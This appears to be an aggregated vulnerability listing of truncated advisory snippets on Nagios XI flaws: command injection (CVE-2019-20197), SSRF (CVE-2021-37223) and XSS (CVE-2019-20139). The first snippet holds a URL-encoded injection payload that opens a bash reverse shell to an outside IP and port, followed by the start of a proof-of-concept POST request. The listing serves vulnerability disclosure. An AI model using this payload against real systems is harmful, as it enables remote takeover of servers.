CVE-2019-20197

CVE-2019-20197 Remote Command Execution Vulnerability in Nagios XI = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite POST...

CVE-2019-20197

Nagios XI Remote Command Execution Vulnerability CVE-2019-20197 POC: POST /nagiosxi/includes/components/scheduledreporting/schedulereport.php HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64; rv:49.0 Gecko/20100101 Firefox/49.0 Accept:...

Server side request forgery (ssrf)

Nagios Enterprises NagiosXI = 5.8.4 contains a Server-Side Request Forgery SSRF vulnerability in schedulereport.php. Any authenticated user can create scheduled reports containing PDF screenshots of any view in the NagiosXI application. Due to lack of input sanitisation, the target page can be...

CVE-2021-37223

CVE-2021-37223 affects NagiosXI

CVE-2021-37223: Server-Side Request Forgery (SSRF)

Nagios Enterprises NagiosXI = 5.8.4 contains a Server-Side Request Forgery SSRF vulnerability in schedulereport.php. Any authenticated user can create scheduled reports containing PDF screenshots of any view in the NagiosXI application. Due to lack of input sanitisation, the target page can be...

PT-2021-21587

Name of the Vulnerable Software and Affected Versions NagiosXI versions = 5.8.4 Description The issue is related to a Server-Side Request Forgery SSRF vulnerability in the schedulereport.php file. This vulnerability allows any authenticated user to create scheduled reports containing PDF...

CVE-2019-20197

In Nagios XI 5.6.9, an authenticated user is able to execute arbitrary OS commands via shell metacharacters in the id parameter to schedulereport.php, in the context of the web-server user account...

Design/Logic Flaw

In Nagios XI 5.6.9, an authenticated user is able to execute arbitrary OS commands via shell metacharacters in the id parameter to schedulereport.php, in the context of the web-server user account...

CVE-2019-20197: Improper Neutralization of Special Elements used in an OS Command

In Nagios XI 5.6.9, an authenticated user is able to execute arbitrary OS commands via shell metacharacters in the id parameter to schedulereport.php, in the context of the web-server user account...

PT-2019-16122

Name of the Vulnerable Software and Affected Versions Nagios XI version 5.6.9 Description The issue allows an authenticated user to execute arbitrary OS commands via shell metacharacters in the id parameter to "schedulereport.php", in the context of the web-server user account. Recommendations Fo...

CVE-2019-20139

In Nagios XI 5.6.9, XSS exists via the nocscreenapi.php host, hostgroup, or servicegroup parameter, or the schedulereport.php hour or frequency parameter. Any authenticated user can attack the admin user...

PT-2019-16098

Name of the Vulnerable Software and Affected Versions Nagios XI version 5.6.9 Description The issue exists due to a cross-site scripting XSS flaw. This flaw can be exploited via the nocscreenapi.php host, hostgroup, or servicegroup parameter, or the schedulereport.php hour or frequency parameter...

CVE-2019-20139: Improper Neutralization of Input During Web Page Generation

In Nagios XI 5.6.9, XSS exists via the nocscreenapi.php host, hostgroup, or servicegroup parameter, or the schedulereport.php hour or frequency parameter. Any authenticated user can attack the admin user...